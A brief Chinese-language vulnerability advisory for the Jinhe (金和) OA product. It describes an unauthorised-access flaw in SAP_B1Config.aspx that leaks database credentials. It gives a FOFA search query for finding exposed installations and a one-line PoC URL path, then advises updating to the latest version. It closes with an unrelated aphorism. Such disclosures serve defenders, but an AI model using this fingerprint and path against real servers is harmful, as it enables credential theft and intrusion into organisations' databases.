产品简介
金和网络是专业信息化服务商，为城市监管部门提供了互联网+监管解决方案，为企事业单位提供组织协同OA系统升开发平台，电子政务一体化平台智慧电商平合等服务
漏洞概述
金和OA SAP_B1Config.aspx存在未授权访问漏洞，攻击者可通过此漏洞获取数据库的账户密码等敏感信息。
指纹识别
fofa:
app="金和网络-金和OA"
漏洞利用
poc:
/C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1
泄露数据库的连接账户和密码
修复建议
联系软件厂商更新至最新安全版本
【有些话可以不说透，自欺欺人，就可以糊涂一世，打打闹闹轻轻松松。】